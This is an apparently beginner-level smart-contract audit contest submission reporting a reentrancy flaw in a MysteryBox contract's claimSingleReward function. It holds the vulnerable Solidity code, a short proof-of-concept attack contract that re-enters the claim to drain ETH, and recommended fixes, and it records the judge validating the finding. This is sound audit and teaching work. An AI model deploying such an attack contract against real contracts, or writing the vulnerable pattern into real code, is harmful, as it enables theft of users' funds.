Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `claimSingleReward()` Function

cryptolappi

Summary

The claimSingleReward function in the MysteryBox contract is vulnerable to a reentrancy attack. This vulnerability could allow an attacker to drain more funds from the contract than they are entitled to.

Vulnerability Details

The vulnerable code is in the claimSingleReward function:

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
@> delete rewardsOwned[msg.sender][_index];
}

The issue lies in the order of operations:

  1. The function checks if the reward exists and has value.

  2. It then sends the ETH to the user.

  3. Only after sending the ETH does it delete the reward from the user's rewards.

This order of operations violates the Checks-Effects-Interactions pattern and opens up the possibility for a reentrancy attack.

Impact

The impact of this vulnerability is high:

  1. Fund Drain: An attacker could repeatedly call this function before the reward is deleted, draining more ETH from the contract than they should be able to.

  2. Economic Loss: The contract could lose all its ETH, affecting all users of the system.

  3. Trust Issues: Such an exploit would severely damage the trust in the system and potentially lead to its complete failure.

Tools Used

Manual code review.

Proof of Concept

Here's a simple attack contract that could exploit this vulnerability:

contract AttackMysteryBox {
MysteryBox public mysteryBox;
uint256 public attackIndex;
​
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
}
​
function attack(uint256 _index) external {
attackIndex = _index;
mysteryBox.claimSingleReward(_index);
}
​
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimSingleReward(attackIndex);
}
}
}

Recommendations

To address this vulnerability, implement the Checks-Effects-Interactions pattern:

function claimSingleReward(uint256 _index) public {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
@> // Effects: Update the state before sending ETH
delete rewardsOwned[msg.sender][_index];
​
@> // Interactions: Send ETH last
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}

Alternatively, you could use the OpenZeppelin ReentrancyGuard contract:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract MysteryBox is ReentrancyGuard {
// ...
​
@> function claimSingleReward(uint256 _index) public nonReentrant {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
delete rewardsOwned[msg.sender][_index];
​
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}
}

By implementing one of these solutions, the contract can protect itself against reentrancy attacks in the claimSingleReward function.

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.